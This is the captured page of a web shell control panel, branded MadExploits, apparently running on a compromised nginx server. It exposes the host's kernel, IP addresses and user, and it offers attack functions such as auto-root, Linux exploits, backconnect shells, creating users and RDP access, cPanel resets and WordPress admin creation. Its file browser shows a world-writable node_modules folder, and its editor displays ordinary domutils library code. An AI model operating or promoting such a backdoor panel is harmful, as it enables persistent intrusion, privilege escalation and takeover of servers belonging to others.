Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
domutils /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
feeds.d.ts
1.16
KB
-rw-rw-rw-
feeds.d.ts.map
1.26
KB
-rw-rw-rw-
feeds.js
6.22
KB
-rw-rw-rw-
helpers.d.ts
2.12
KB
-rw-rw-rw-
helpers.d.ts.map
537
B
-rw-rw-rw-
helpers.js
4.41
KB
-rw-rw-rw-
index.d.ts
386
B
-rw-rw-rw-
index.d.ts.map
355
B
-rw-rw-rw-
index.js
1.8
KB
-rw-rw-rw-
legacy.d.ts
2.13
KB
-rw-rw-rw-
legacy.d.ts.map
1.3
KB
-rw-rw-rw-
legacy.js
4.72
KB
-rw-rw-rw-
manipulation.d.ts
1.22
KB
-rw-rw-rw-
manipulation.d.ts.map
677
B
-rw-rw-rw-
manipulation.js
3.25
KB
-rw-rw-rw-
querying.d.ts
2.26
KB
-rw-rw-rw-
querying.d.ts.map
1016
B
-rw-rw-rw-
querying.js
4.06
KB
-rw-rw-rw-
stringify.d.ts
1.48
KB
-rw-rw-rw-
stringify.d.ts.map
653
B
-rw-rw-rw-
stringify.js
2.94
KB
-rw-rw-rw-
traversal.d.ts
1.99
KB
-rw-rw-rw-
traversal.d.ts.map
864
B
-rw-rw-rw-
traversal.js
3.35
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : legacy.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getElementsByTagType = exports.getElementsByTagName = exports.getElementById = exports.getElements = exports.testElement = void 0; var domhandler_1 = require("domhandler"); var querying_1 = require("./querying"); var Checks = { tag_name: function (name) { if (typeof name === "function") { return function (elem) { return (0, domhandler_1.isTag)(elem) && name(elem.name); }; } else if (name === "*") { return domhandler_1.isTag; } return function (elem) { return (0, domhandler_1.isTag)(elem) && elem.name === name; }; }, tag_type: function (type) { if (typeof type === "function") { return function (elem) { return type(elem.type); }; } return function (elem) { return elem.type === type; }; }, tag_contains: function (data) { if (typeof data === "function") { return function (elem) { return (0, domhandler_1.isText)(elem) && data(elem.data); }; } return function (elem) { return (0, domhandler_1.isText)(elem) && elem.data === data; }; }, }; /** * @param attrib Attribute to check. * @param value Attribute value to look for. * @returns A function to check whether the a node has an attribute with a particular value. */ function getAttribCheck(attrib, value) { if (typeof value === "function") { return function (elem) { return (0, domhandler_1.isTag)(elem) && value(elem.attribs[attrib]); }; } return function (elem) { return (0, domhandler_1.isTag)(elem) && elem.attribs[attrib] === value; }; } /** * @param a First function to combine. * @param b Second function to combine. * @returns A function taking a node and returning `true` if either * of the input functions returns `true` for the node. */ function combineFuncs(a, b) { return function (elem) { return a(elem) || b(elem); }; } /** * @param options An object describing nodes to look for. * @returns A function executing all checks in `options` and returning `true` * if any of them match a node. */ function compileTest(options) { var funcs = Object.keys(options).map(function (key) { var value = options[key]; return Object.prototype.hasOwnProperty.call(Checks, key) ? Checks[key](value) : getAttribCheck(key, value); }); return funcs.length === 0 ? null : funcs.reduce(combineFuncs); } /** * @param options An object describing nodes to look for. * @param node The element to test. * @returns Whether the element matches the description in `options`. */ function testElement(options, node) { var test = compileTest(options); return test ? test(node) : true; } exports.testElement = testElement; /** * @param options An object describing nodes to look for. * @param nodes Nodes to search through. * @param recurse Also consider child nodes. * @param limit Maximum number of nodes to return. * @returns All nodes that match `options`. */ function getElements(options, nodes, recurse, limit) { if (limit === void 0) { limit = Infinity; } var test = compileTest(options); return test ? (0, querying_1.filter)(test, nodes, recurse, limit) : []; } exports.getElements = getElements; /** * @param id The unique ID attribute value to look for. * @param nodes Nodes to search through. * @param recurse Also consider child nodes. * @returns The node with the supplied ID. */ function getElementById(id, nodes, recurse) { if (recurse === void 0) { recurse = true; } if (!Array.isArray(nodes)) nodes = [nodes]; return (0, querying_1.findOne)(getAttribCheck("id", id), nodes, recurse); } exports.getElementById = getElementById; /** * @param tagName Tag name to search for. * @param nodes Nodes to search through. * @param recurse Also consider child nodes. * @param limit Maximum number of nodes to return. * @returns All nodes with the supplied `tagName`. */ function getElementsByTagName(tagName, nodes, recurse, limit) { if (recurse === void 0) { recurse = true; } if (limit === void 0) { limit = Infinity; } return (0, querying_1.filter)(Checks.tag_name(tagName), nodes, recurse, limit); } exports.getElementsByTagName = getElementsByTagName; /** * @param type Element type to look for. * @param nodes Nodes to search through. * @param recurse Also consider child nodes. * @param limit Maximum number of nodes to return. * @returns All nodes with the supplied `type`. */ function getElementsByTagType(type, nodes, recurse, limit) { if (recurse === void 0) { recurse = true; } if (limit === void 0) { limit = Infinity; } return (0, querying_1.filter)(Checks.tag_type(type), nodes, recurse, limit); } exports.getElementsByTagType = getElementsByTagType;
Close